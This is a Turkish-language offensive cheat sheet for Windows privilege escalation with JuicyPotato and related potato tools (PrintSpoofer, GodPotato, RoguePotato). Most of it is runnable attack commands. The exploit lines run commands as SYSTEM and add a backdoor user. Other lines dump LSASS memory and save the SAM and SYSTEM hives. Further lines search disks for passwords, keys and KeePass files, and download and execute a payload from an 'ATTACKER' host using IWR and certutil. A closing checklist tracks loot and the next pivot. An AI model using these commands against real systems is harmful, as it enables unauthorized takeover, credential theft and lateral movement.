JuicyPotato

windows privesc

JuicyPotato Windows privesc, credential veya yanal hareket notudur. Token/servis/DLL/AD yüzeyini haritalayıp SYSTEM veya domain etkisi doğrula. SeImpersonatePrivilege varlığı potato ailesinin önkoşuludur.

Metodoloji

1. whoami /all, priv, UAC bütünlüğü ve AV durumunu kilitle.

2. JuicyPotato için servis/DLL/token/AD hipotezini enum ile destekle.

3. Yükseltme veya lateral PoC’yi çalıştırıp etkiyi kanıtla.

4. LSASS/SAM/DPAPI veya domain loot paketle.

Durum

JuicyPotato Windows saldırı notudur. Önce token, bütünlük seviyesi, AV ve yerel grup haritasını çıkar.

whoami /all

systeminfo

whoami /priv

net user; net localgroup administrators

hostname & ipconfig /all

Get-LocalGroupMember Administrators -ErrorAction SilentlyContinue

Get-MpComputerStatus | Select AMServiceEnabled,RealTimeProtectionEnabled

netstat -ano

Get-Service | ? Status -eq Running | Select Name,DisplayName

Token / potato / named pipe

SeImpersonatePrivilege varsa potato ailesi veya pipe impersonation ile SYSTEM hedeflenir.

whoami /priv

whoami /groups

[System.Security.Principal.WindowsIdentity]::GetCurrent() | fl

JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\temp\out.txt" -t *

JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c whoami"

PrintSpoofer.exe -i -c cmd

GodPotato.exe -cmd "cmd /c whoami"

RoguePotato.exe -l ATTACKER -c "C:\Windows\System32\cmd.exe" -a "/c whoami"

Otomatik enum

winPEASx64.exe quiet

accesschk.exe /accepteula -uwcqv users *

Import-Module .\PowerUp.ps1; Invoke-AllChecks

Get-ChildItem C:\ -Recurse -Include *.xml,*.config,*.ini -ErrorAction SilentlyContinue | Select-String -Pattern 'password|pwd|connectionstring' | Select -First 30

Yükseltme / erişim sonrası

dir C:\Users\Administrator\Desktop

dir C:\Users\*\Documents,C:\Users\*\Desktop -ErrorAction SilentlyContinue

Get-ChildItem -Force C:\ -Include *.kdbx,*.pfx,*.key -Recurse -ErrorAction SilentlyContinue | Select -First 30

procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmp

reg save HKLM\SAM C:\temp\sam.save & reg save HKLM\SYSTEM C:\temp\sys.save

JuicyPotato akışı

SeImpersonate/SeAssignPrimaryToken + eski Windows sürümünde BITS/other CLSID ile SYSTEM. CLSID listesini hedef OS’e göre dene; başarısız CLSID’yi ele.

whoami /priv | findstr Impersonate

JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami" -t * -c {CLSID}

JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user pwn P@ss /add" -t *

JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c whoami"

Win10 1809+ → PrintSpoofer / GodPotato / RoguePotato'ya geç

Manuel doğrulama

# JuicyPotato — varyant 6

Get-ChildItem C:\Users -Force | Format-Table Name,Mode

Get-ScheduledTask | ? State -eq Ready | Select TaskName,TaskPath

Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\* | ? ImagePath -match ' ' | Select PSChildName,ImagePath

findstr /si password *.xml *.ini *.txt *.config 2>$null | Select -First 20

Get-Acl C:\ProgramData | Format-List

qwinsta; quser

wmic product get name,version

dir /a C:\ProgramData\Microsoft\Windows\Start\ Menu\Programs\Startup

cmdkey /list

Transfer / execution

IWR -Uri http://ATTACKER/a.exe -OutFile C:\Users\Public\a.exe

certutil -urlcache -split -f http://ATTACKER/a.exe C:\Users\Public\a.exe

Start-Process C:\Users\Public\a.exe

Checklist

[ ] whoami /priv ve gruplar alındı
[ ] Servis/DLL/registry/token yüzeyi tarandı
[ ] Privesc veya lateral PoC doğrulandı
[ ] Credential dump / loot paketlendi
[ ] Sonraki pivot not edildi

Notlar

JuicyPotato sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.